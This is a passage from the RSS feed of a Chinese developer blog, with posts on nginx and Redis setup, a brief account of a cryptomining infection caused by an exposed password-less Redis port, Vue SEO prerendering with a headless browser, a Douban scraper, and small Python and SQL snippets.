&lt;pre&gt;&lt;code class="language-nginx"&gt;location ~* ^/(auth|admin|code|gen|actuator|monitor|mp|daemon|job|tx|pay|act|blog) {}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;开启缓存&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-nginx"&gt;proxy_cache_path 本地缓存路径 levels=1:2 keys_zone=cachedata:10m max_size=10g inactive=60m use_temp_path=off;
server {
　　# ...
　　location / {
　　　　proxy_cache cachedata;
　　　　proxy_pass 要转发的地址;
　　}
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>服务器相关</category>
      <pubDate>Wed, 20 Nov 2019 08:57:23 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/47.html</comments>
    </item>
    <item>
      <title>CentOS部署JDK、Tomcat、Redis</title>
      <link>https://www.baby7blog.com/myBlog/45.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FjFCU6-pYmeKjvja2tOxzEwmitwx" width="800"&gt;&lt;br&gt;
&lt;h1&gt;CentOS部署JDK、Tomcat、Redis&lt;/h1&gt;

&lt;h2&gt;JDK和Tomcat&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先要有一个华为云DevCloud账号&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建仓库然后创建部署任务&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建主机组、一个主机（填你的服务器）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在其中选择JDK安装&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;添加一个Tomcat安装&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;执行&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Redis&lt;/h2&gt;
&lt;p&gt;1.下载安装包&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;wget http://download.redis.io/releases/redis-4.0.2.tar.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.解压并安装&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;tar xzf redis-4.0.2.tar.gz
cd redis-4.0.2
make
make install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.更改配置文件&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;vim redis.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将里面的daemonize从no修改为yes&lt;/p&gt;
&lt;p&gt;4.启动&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;/usr/local/bin/redis-server /root/redis-4.0.2/redis.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;停止&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;/usr/local/bin/redis-cli SHUTDOWN
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参考: &lt;a href="https://www.cnblogs.com/renzhicai/p/7773080.html"&gt;CentOS下Redis的安装&lt;/a&gt;&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Wed, 20 Nov 2019 08:10:18 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/45.html</comments>
    </item>
    <item>
      <title>记一次服务器疑似watchbog挖矿病毒入侵</title>
      <link>https://www.baby7blog.com/myBlog/43.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FvsqLovMu9AVStVmfJFQpF96iteq" width="800"&gt;&lt;br&gt;
&lt;h1&gt;记一次服务器疑似watchbog挖矿病毒入侵&lt;/h1&gt;

&lt;h2&gt;发现&lt;/h2&gt;
&lt;p&gt;网站崩溃，查询发现是后台服务无法请求到，继续查发现全部的微服务都挂了，所以在华为云重新部署，但是部署失败，服务无法启动，使用ssh连接手动测试启动后发现还是不行&lt;/p&gt;
&lt;h2&gt;排查&lt;/h2&gt;
&lt;p&gt;经过查询日志发现无法连接到mysql，我的服务地址是使用hosts维护的，使用&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-ssh"&gt;vim /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命令发现hosts文件之前的hosts均被清空，多了两个不是我自己配置的host&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-hosts"&gt;0.0.0.0 pastebin.com
0.0.0.0 onion.to
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过搜索引擎发现似乎是watchbog挖矿病毒导致的，使用top命令没有发现cpu使用率高的，但是云服务监控的cpu在不停的变动
修改hosts后不长的时间又会被修改回来
使用&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;crontab -l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现有定时任务，但是着急就没有继续查，直接重装封端口了&lt;/p&gt;
&lt;h2&gt;原因&lt;/h2&gt;
&lt;p&gt;前几天想在本地使用Redis Desktop Manager可视化工具连接服务器的redis，所以设置了redis的远程连接和6379端口，还为了方便没有设置密码，心太大了/(ㄒoㄒ)/~~，导致6379端口被注入脚本，导致网站崩溃&lt;/p&gt;
&lt;h2&gt;解决&lt;/h2&gt;
&lt;p&gt;因为服务器上没有什么东西，所以使用云服务商的重装功能重装了系统，再重新安装了jdk和redis，然后关闭了不必要的端口如6379&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Tue, 19 Nov 2019 03:49:50 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/43.html</comments>
    </item>
    <item>
      <title>python自动判断Maven依赖</title>
      <link>https://www.baby7blog.com/myBlog/41.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FkemCPTkOuBMMvwQvfsmHpW_1qK7" width="800"&gt;&lt;br&gt;
&lt;h1&gt;python自动判断Maven依赖&lt;/h1&gt;

&lt;pre&gt;&lt;code class="language-python"&gt;#!/usr/bin/python
# -*- coding: UTF-8 -*-
&amp;quot;&amp;quot;&amp;quot;
    naee    自动判断Maven依赖
    by      陈思奇
    time    2019.9.9
    methods 填写好下方的项目绝路路径和groupId运行后复制运行结果粘贴到excel即可
&amp;quot;&amp;quot;&amp;quot;
import os.path
from xml.dom.minidom import parse

ProjectPath = &amp;quot;D:\project\java\IntelliJ\cathayfuture&amp;quot;                               # 一定要写绝对路径
yourGroupId = &amp;quot;com.baokang&amp;quot;                                                         # 要判断的groupId

excelPast = '服务名\t依赖\n'
rootDir = os.path.abspath(ProjectPath)
for parent, dirnames, filenames in os.walk(rootDir):
    for filename in filenames:
        if &amp;quot;pom.xml&amp;quot; == filename:
            pathfile = os.path.join(parent, filename)                               # 获得pom文件路径
            DOMTree = parse(pathfile)
            project = DOMTree.documentElement                                       # project节点
            dependencies = project.getElementsByTagName('dependencies')             # dependencies节点列表
            if dependencies.length == 0:
                continue
            dependencyList = dependencies[0].getElementsByTagName('dependency')     # dependency节点列表
            dependencyStr = ''
            for dependency in dependencyList:
                groupId = dependency.getElementsByTagName('groupId')[0]             # groupId节点
                if groupId.firstChild.data == yourGroupId:                          # 判断是否为该groupId
                    dependencyStr += \
                        dependency.getElementsByTagName('artifactId')[0].firstChild.data + '\n'     # excel字符串拼接
            if dependencyStr != '':
                dependencyStr = dependencyStr[:len(dependencyStr) - 1]                              # excel粘贴格式原因
                excelPast += parent[parent.rfind(&amp;quot;\\&amp;quot;) + 1:] + &amp;quot;\t\&amp;quot;&amp;quot; + dependencyStr + &amp;quot;\&amp;quot;\n&amp;quot;      # excel字符串拼接
print(excelPast)
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>后端技术</category>
      <pubDate>Fri, 15 Nov 2019 09:44:49 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/41.html</comments>
    </item>
    <item>
      <title>基于谷歌/火狐无头浏览器模式解决Vue的SEO问题</title>
      <link>https://www.baby7blog.com/myBlog/39.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fr9_iufjOcnPNk0QdHDAb71WrdTu" width="800"&gt;&lt;br&gt;
&lt;h1&gt;基于谷歌/火狐无头浏览器模式解决Vue的SEO问题&lt;/h1&gt;

&lt;p&gt;启发来自冷子欲的文章: &lt;a href="https://segmentfault.com/a/1190000019623624?utm_source=tag-newest"&gt;基于Vue SEO的四种方案&lt;/a&gt;，感谢作者的分享。&lt;/p&gt;
&lt;p&gt;在他的文章里【使用Phantomjs针对爬虫做处理】对于已经开发完成的单页面Vue项目是很好的选择，但是我用Phantomjs安装完后不能正常工作，另外“PhantomJS宣布终止开发”，所以选择弃用Phantomjs转用其他的方案代替。&lt;/p&gt;
&lt;p&gt;Phantomjs的本质是一个无头浏览器，我了解到谷歌和火狐都有无头浏览器模式，所以想到使用python调用浏览器来实现返回渲染好的html页面。&lt;/p&gt;
&lt;p&gt;下面是我设计的流程图&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1573800191913237035" alt="flow 流程图" title="基于谷歌/火狐无头浏览器模式解决Vue的SEO问题" /&gt;&lt;/p&gt;
&lt;p&gt;下面是具体的流程，在流程开始之前要安装Nginx、火狐/谷歌、Nodejs、python环境，安装及使用这里就不赘述了：&lt;/p&gt;
&lt;h2&gt;1.Nginx做转发&lt;/h2&gt;
&lt;p&gt;在Nginx的配置文件里的http区块加转发地址:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Nginx"&gt;upstream spider_server {
    server localhost:3000;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在http区块-&amp;gt;server区块-&amp;gt;location区块里加判断:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Nginx"&gt;if ($http_user_agent ~* &amp;quot;Baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest|slackbot|vkShare|W3C_Validator|bingbot|Sosospider|Sogou Pic Spider|Googlebot|360Spider&amp;quot;) {
    proxy_pass  http://spider_server;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样便实现了对百度或其余的爬虫转发到3000端口，3000端口是node.js程序监听的地址，可以自己设置。&lt;/p&gt;
&lt;h2&gt;2.使用node.js调用python爬虫&lt;/h2&gt;
&lt;p&gt;创建server.js文件并运行&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;// ExpressJS调用方式
var express = require('express');
var app = express();

// 引入NodeJS的子进程模块
var child_process = require('child_process');
var iconv = require('iconv-lite');

app.get('*', function(req, res) {
res.writeHead(200, {'Content-Type': 'text/html; charset=utf-8'});
    //url
    var url = req.protocol + '://'+ req.hostname + req.originalUrl;

    // 预渲染后的页面字符串容器
    var content = '';

    // 开启一个python子进程
    var firefox = child_process.spawn('python', ['firefox.py', url]);

    // 设置stdout字符编码
    //firefox.stdout.setEncoding('utf8');

    // 监听python的stdout，并拼接起来
    firefox.stdout.on('data', function(data){
        //content += data.toString();
        content += iconv.decode(new Buffer(data, 'binary'), 'gb2312');
    });


    // 捕获标准错误输出并将其打印到控制台 
    firefox.stderr.on('data', function (data) { 
        console.log('standard error output:\n' + data); 
    }); 

    // 监听子进程退出事件
    firefox.on('exit', function(code){
        switch (code){
            case 1:
                console.log('load error');
                res.write('加载失败');
                break;
            case 2:
                console.log('timeout: '+ url);
                res.write('time out');
                break;
            default:
                //console.log(content);
                res.write(content);
                break;
        }
         res.end();
    });

});

app.listen(3000, function () {
  console.log('Spider app listening on port 3000!');
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的3000便是Nginx转发的端口。&lt;/p&gt;
&lt;h2&gt;3.使用python调用谷歌/火狐浏览器获得渲染数据&lt;/h2&gt;
&lt;p&gt;这里使用python调用火狐浏览器获取渲染数据&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;from selenium.webdriver.firefox.options import Options
from selenium import webdriver
import sys

# print(sys.argv[1])

# url = 'https://www.baby7blog.com'
js_delStyle = &amp;quot;var elems = document.getElementsByTagName('style');&amp;quot; \
              &amp;quot;for(var i = 0; i &amp;lt; elems.length; i++){elems[i].parentNode.removeChild(elems[i]);}&amp;quot;
#
options = Options()
options.add_argument('--headless')  # 无界面
options.set_preference('permissions.default.image', 2)  # 不加载图片
browser = webdriver.Firefox(options=options)  # 打开浏览器
browser.get(url=sys.argv[1])  # 请求
browser.execute_script(js_delStyle)
print(browser.page_source.encode('GBK','ignore').decode('GBk'))  # 输出
browser.close()  # 关闭浏览器
browser.quit()  # # 杀死chrome浏览器的连接桥(chromedriver)的进程
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到使用了无头、无界面、不加载图片的浏览器模式，并且请求后对html做了处理，删除了不必要的&lt;style&gt;标签，大家可以自己做其他的处理。&lt;/p&gt;</description>
      <category>前端技术</category>
      <pubDate>Fri, 15 Nov 2019 07:05:03 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/39.html</comments>
    </item>
    <item>
      <title>Java程序解析yml文件报错解决</title>
      <link>https://www.baby7blog.com/myBlog/37.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FoYxbrqn3DYT3IPqyQr5GQ6JO4ss" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Java程序解析yml文件报错解决&lt;/h1&gt;

&lt;h2&gt;bug关键字：&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-log"&gt;java.nio.charset.MalformedInputException: Input length = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;过程：&lt;/h2&gt;
&lt;p&gt;运行报错说解析yml文件出现问题，不能正常解析，这个项目是我用Git Clone下来的，在别的电脑上都能跑的通，hosts文件配置也没有问题，但是就是这台电脑上运行不了&lt;/p&gt;
&lt;p&gt;经过求助大佬，经过很长时间的找bug，最后发现是idea的setting中的项目编码有问题，我的IDEA以前设置过，忘了改回来，现在是GBK，应该改成UTF-8&lt;/p&gt;
&lt;h2&gt;解决：&lt;/h2&gt;
&lt;p&gt;File --&amp;gt; Settings --&amp;gt; Editor ---&amp;gt;File Encodings，将所有的格式都转成utf-8格式&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.baby7blog.com/1573786138972325861" alt="http://media.baby7blog.com/1573786138972325861" /&gt;&lt;/p&gt;
&lt;p&gt;引用：&lt;a href="https://blog.csdn.net/qq_36125733/article/details/81741233"&gt;https://blog.csdn.net/qq_36125733/article/details/81741233&lt;/a&gt;&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Thu, 14 Nov 2019 07:34:47 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/37.html</comments>
    </item>
    <item>
      <title>MySQL相邻去重</title>
      <link>https://www.baby7blog.com/myBlog/31.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FnSlmyqDHaPkAldqx9xvI8wkmEql" width="800"&gt;&lt;br&gt;
&lt;h1&gt;MySQL相邻去重&lt;/h1&gt;

&lt;pre&gt;&lt;code class="language-SQL"&gt;SELECT room
FROM bracelet_info AS table1
WHERE table1.room != 
(
  SELECT table2.room
  FROM bracelet_info AS table2
  WHERE table1.uid &amp;lt; table2.uid
  ORDER BY table2.uid
  LIMIT 1
)
OR NOT EXISTS 
(
  SELECT *
  FROM bracelet_info AS table3
  WHERE table1.uid &amp;lt; table3.uid
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;记录一下，出处找不到了&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Sun, 03 Nov 2019 03:36:14 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/31.html</comments>
    </item>
    <item>
      <title>豆瓣电影分析</title>
      <link>https://www.baby7blog.com/myBlog/27.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190609/1560072180710081520.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;豆瓣电影分析&lt;/h1&gt;

&lt;p&gt;依据上一篇&lt;a href="https://www.baby7blog.com/myBlog/26.html"&gt;Scrapy豆瓣整站爬虫&lt;/a&gt;中的电影数据进行分析&lt;/p&gt;
&lt;p&gt;首先分析时长、评分、评论数量之间的关系：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190609/1560071924352011463.png" alt="关系1" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190609/1560071930446043457.png" alt="关系2" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190609/1560071935540037319.png" alt="关系3" /&gt;&lt;/p&gt;
&lt;p&gt;可以分析得：&lt;/p&gt;
&lt;p&gt;当电影时长和评分越高，评论数量相对越多&lt;/p&gt;
&lt;p&gt;但时长和评分没有什么关系&lt;/p&gt;
&lt;p&gt;接下来是电影类型的数量分析&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190609/1560072084132009406.png" alt="分析" /&gt;&lt;/p&gt;
&lt;p&gt;可以看到剧情片一马当先，戏剧和动作紧随其后&lt;/p&gt;
&lt;p&gt;最后是评分星级的比例：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190609/1560072180710081520.png" alt="星级比例" /&gt;&lt;/p&gt;
&lt;p&gt;一星二星只占11.8%，其余的多评四星，或在上下浮动&lt;/p&gt;
&lt;p&gt;源码：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import pymysql
import pandas as pd
from pandas import DataFrame
import matplotlib.pyplot as plt
from pylab import mpl
mpl.rcParams['font.sans-serif'] = ['SimHei']


# 从MySQL导入数据
con = pymysql.connect(host='127.0.0.1', user='root', passwd='root', db='python', charset='utf8')
cur = con.cursor()
df = pd.read_sql('SELECT * FROM doubanvideo WHERE '
                 'genre != &amp;quot;&amp;quot; AND '
                 'runtime != &amp;quot;&amp;quot; AND '
                 'average_count != &amp;quot;&amp;quot; '
                 'AND average != &amp;quot;&amp;quot; AND '
                 'star_1 != &amp;quot;&amp;quot; AND '
                 'star_2 != &amp;quot;&amp;quot; AND '
                 'star_3 != &amp;quot;&amp;quot; AND '
                 'star_4 != &amp;quot;&amp;quot; AND '
                 'star_5 != &amp;quot;&amp;quot;;', con=con)
con.close()

# 时长和评论数量之间的关系
df['runtime'] = df['runtime'].str.replace(r'( *)分钟(.*)', &amp;quot;&amp;quot;)
df['runtime'] = df['runtime'].str.replace(r'[a-zA-Z]+:( *)', &amp;quot;&amp;quot;)
frame = DataFrame(df)
fig,ax = plt.subplots()
ax.scatter(frame['runtime'], frame['average_count'])
ax.set_xlabel('runtime')
ax.set_ylabel('average_count')
plt.show()
plt.close()


# 时长和评分之间的关系
df['runtime'] = df['runtime'].str.replace(r'( *)分钟(.*)', &amp;quot;&amp;quot;)
df['runtime'] = df['runtime'].str.replace(r'[a-zA-Z]+:( *)', &amp;quot;&amp;quot;)
frame = DataFrame(df)
fig,ax = plt.subplots()
ax.scatter(frame['runtime'], frame['average'])
ax.set_xlabel('runtime')
ax.set_ylabel('average')
plt.show()
plt.close()


# 评分和评论数量之间的关系
frame = DataFrame(df)
fig,ax = plt.subplots()
ax.scatter(frame['average'], frame['average_count'])
ax.set_xlabel('average')
ax.set_ylabel('average_count')
plt.show()
plt.close()

# 电影类型的柱形图
types = {}
frame = DataFrame(df)
for genre in frame['genre']:
    strs = genre.split(&amp;quot; &amp;quot;)
    for s in strs:
        if types.get(s) is None:
            types[s] = 1
        else:
            types[s] += 1
blist = []                                              # 定义两个列表
clist = []
list = sorted(types.items(), key=lambda item: item[1])  # 得到的是一个list,list中的元素是tuple
for i in list:
    blist.append(i[0])                                  # 把元组中的第一个值添加到blist列表中
    clist.append(i[1])                                  # 把元组中的第二个值添加到clist列表中
plt.rcParams['figure.figsize'] = (10.0, 4.0)            # 设置figure_size尺寸
plt.bar(range(len(blist)), clist, tick_label=blist)     # 第一个参数为x轴元素的个数，第二个元素为y轴的值，第三个元素为x轴各元    素的值
plt.show()


# 五个评价等级的比例，数据库星级顺序反了。。。
star_1 = DataFrame(df['star_5'].str.replace(r'%', &amp;quot;&amp;quot;), dtype='float').mean()
star_2 = DataFrame(df['star_4'].str.replace(r'%', &amp;quot;&amp;quot;), dtype='float').mean()
star_3 = DataFrame(df['star_3'].str.replace(r'%', &amp;quot;&amp;quot;), dtype='float').mean()
star_4 = DataFrame(df['star_2'].str.replace(r'%', &amp;quot;&amp;quot;), dtype='float').mean()
star_5 = DataFrame(df['star_1'].str.replace(r'%', &amp;quot;&amp;quot;), dtype='float').mean()
labels = '1 star', '2 star', '3 star', '4 star', '5 star'
sizes = [star_1, star_2, star_3, star_4, star_5]
explode = (0, 0, 0, 0, 0)
fig1, ax1 = plt.subplots()
ax1.pie(sizes, explode=explode, labels=labels, autopct='%1.1f%%', shadow=True, startangle=90)
ax1.axis('equal')
plt.show()
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>爬虫相关</category>
      <pubDate>Sun, 09 Jun 2019 01:25:37 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/27.html</comments>
    </item>
    <item>
      <title>Scrapy豆瓣整站爬虫</title>
      <link>https://www.baby7blog.com/myBlog/26.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FseS4wB5iYauqeMr3yfuN2zzeJRF" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Scrapy豆瓣整站爬虫&lt;/h1&gt;

&lt;h2&gt;分析：&lt;/h2&gt;
&lt;p&gt;豆瓣的分类有这些&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190609/1560040556601041175.png" alt="豆瓣分类截图" /&gt;&lt;/p&gt;
&lt;p&gt;其中读书、电影、音乐、同城的四个分类信息较多、维度较全，我们今天就来爬取这四个分类下的数据&lt;/p&gt;
&lt;h3&gt;豆瓣电影：&lt;/h3&gt;
&lt;p&gt;豆瓣电影下的分类导航是最全的，默认选择全部&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190604/1559655544696086351.png" alt="豆瓣电影1" /&gt;&lt;/p&gt;
&lt;p&gt;拉到下面点击更多&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190604/1559655587586099145.png" alt="豆瓣电影2" /&gt;&lt;/p&gt;
&lt;p&gt;在F12开发者工具可以看到&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190604/1559655653897051116.png" alt="F12开发者工具" /&gt;&lt;/p&gt;
&lt;p&gt;一共出来了21条请求，其中20条是图片，第一条是返回的json数据&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190604/1559655735037008313.png" alt="返回数据" /&gt;&lt;/p&gt;
&lt;p&gt;分析这条GET请求&lt;/p&gt;
&lt;p&gt;&lt;a href="https://movie.douban.com/j/new_search_subjects?sort=U&amp;amp;range=0,10&amp;amp;tags=&amp;amp;start=20"&gt;https://movie.douban.com/j/new_search_subjects?sort=U&amp;amp;range=0,10&amp;amp;tags=&amp;amp;start=20&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;range经测试并没有什么用&lt;img src="http://img.baidu.com/hi/jx2/j_0004.gif" alt="惊讶" /&gt;，后面的start可以按20的倍数增长&lt;/p&gt;
&lt;p&gt;不过json数据并不是很全，所以需要进每条的详情页也就是&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190604/1559656107126040428.png" alt="url" /&gt;&lt;/p&gt;
&lt;p&gt;https://movie.douban.com/subject/1292720&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190604/1559656136610032279.png" alt="电影详情" /&gt;&lt;/p&gt;
&lt;p&gt;在详情页可以采集到比较详细的数据&lt;/p&gt;
&lt;p&gt;我们可以这样设计需要采集的数据&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190604/1559656219109013581.png" alt="需要采集的数据" /&gt;&lt;/p&gt;
&lt;p&gt;经过测试发现有的电影并没有详情页，所以需要将之前的json数据放进去，毕竟也是有点信息的，为了偷懒，我设计爬虫为两次爬取，每次注释一部分代码运行&lt;/p&gt;
&lt;h3&gt;豆瓣读书：&lt;/h3&gt;
&lt;p&gt;豆瓣读书按标签可以得到排行（&lt;a href="https://book.douban.com/tag/%E5%B0%8F%E8%AF%B4?start=980&amp;amp;type=T"&gt;https://book.douban.com/tag/%E5%B0%8F%E8%AF%B4?start=980&amp;amp;type=T&lt;/a&gt;）替换标签就可以&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190609/1560040880177080557.png" alt="豆瓣读书" /&gt;&lt;/p&gt;
&lt;p&gt;全部标签页为（&lt;a href="https://book.douban.com/tag/"&gt;https://book.douban.com/tag/&lt;/a&gt;）&lt;/p&gt;
&lt;p&gt;需要注意的是页数显示382页&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190609/1560040923973020411.png" alt="页数" /&gt;&lt;/p&gt;
&lt;p&gt;实际上在页数等于51页（也就是数据量等于1000）的时候，豆瓣就会显示&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190609/1560041017645092459.png" alt="没有找到" /&gt;&lt;/p&gt;
&lt;p&gt;很迷&lt;img src="http://img.baidu.com/hi/jx2/j_0009.gif" alt="擦汗" /&gt;&lt;/p&gt;
&lt;p&gt;操作依据上面电影的双向爬取来就行&lt;/p&gt;
&lt;p&gt;需要注意的是详情在html显示是酱紫：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com//ueditor/jsp/upload/image/20190609/1560041187034036475.png" alt="html结果" /&gt;&lt;/p&gt;
&lt;p&gt;信息不在标签里&lt;img src="http://img.baidu.com/hi/jx2/j_0012.gif" alt="拍头" /&gt;&lt;/p&gt;
&lt;p&gt;我的处理方法是将整个的 &lt;strong&gt;&amp;quot;&amp;quot;.join()&lt;/strong&gt; 放在一个字符串里，然后正则表达式 &lt;strong&gt;作者:(.+?)出版社:&lt;/strong&gt; 就可以提取出来中间的信息&lt;/p&gt;
&lt;p&gt;豆瓣音乐和豆瓣同城的分析和上面的差不多，这里就不分析了&lt;/p&gt;
&lt;h2&gt;代码：&lt;/h2&gt;
&lt;p&gt;具体的源码我会放在最下面，这里讲解一下怎么将这四个爬虫放在一个项目里&lt;/p&gt;
&lt;p&gt;首先是Items.py&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;# -*- coding: utf-8 -*-

from scrapy.item import Item, Field


class DoubanVideoItem(Item):
    id = Field()                    # 在豆瓣的ID
    name = Field()                  # 电影名
    image_url = Field()             # 海报
    director = Field()              # 导演
    screenwriter = Field()          # 编剧
    star = Field()                  # 主演
    genre = Field()                 # 类型
    runtime = Field()               # 片长
    initialReleaseDate = Field()    # 首次上映日期
    summary = Field()               # 简介
    average_count = Field()         # 评价数量
    average = Field()               # 评分
    star_1 = Field()                # 一星占比
    star_2 = Field()                # 二星占比
    star_3 = Field()                # 三星占比
    star_4 = Field()                # 四星占比
    star_5 = Field()                # 五星占比


class DoubanBookItem(Item):
    id = Field()                    # 在豆瓣的ID
    name = Field()                  # 书名
    image_url = Field()             # 封面
    author = Field()                # 作者
    press = Field()                 # 出版社
    year = Field()                  # 出版年
    pages = Field()                 # 页数
    price = Field()                 # 定价
    bindinglayout = Field()         # 装帧
    series = Field()                # 丛书
    ISBN = Field()                  # ISBN
    summary = Field()               # 简介
    average_count = Field()         # 评价数量
    average = Field()               # 评分
    star_1 = Field()                # 一星占比
    star_2 = Field()                # 二星占比
    star_3 = Field()                # 三星占比
    star_4 = Field()                # 四星占比
    star_5 = Field()                # 五星占比
    
    ...下面的差不多
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在setting.py中设置&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;ITEM_PIPELINES = {
    'DouBanAll.pipelines.DoubanVideoPipeline': 100,
    'DouBanAll.pipelines.DoubanBookPipeline': 200,
    'DouBanAll.pipelines.DoubanMusicPipeline': 300,
    'DouBanAll.pipelines.DoubanLocationPipeline': 400,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后每新建一个爬虫，就在spiders目录下     scrapy genspider 爬虫名 web            一个新的爬虫名.py&lt;/p&gt;
&lt;p&gt;爬虫中需要添加&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;custom_settings = {
    'ITEM_PIPELINES' : {'DouBanAll.pipelines.DoubanVideoPipeline': 100}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;来区分&lt;/p&gt;
&lt;p&gt;然后运行爬虫时:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;scrapy crawl 爬虫名
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;源代码：&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://media.baby7blog.com//DouBanAll.zip"&gt;点击此处下载&lt;/a&gt;&lt;/p&gt;</description>
      <category>爬虫相关</category>
      <pubDate>Tue, 04 Jun 2019 05:56:39 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/26.html</comments>
    </item>
    <item>
      <title>Spring MVC实现微信小程序登录流程</title>
      <link>https://www.baby7blog.com/myBlog/25.html</link>
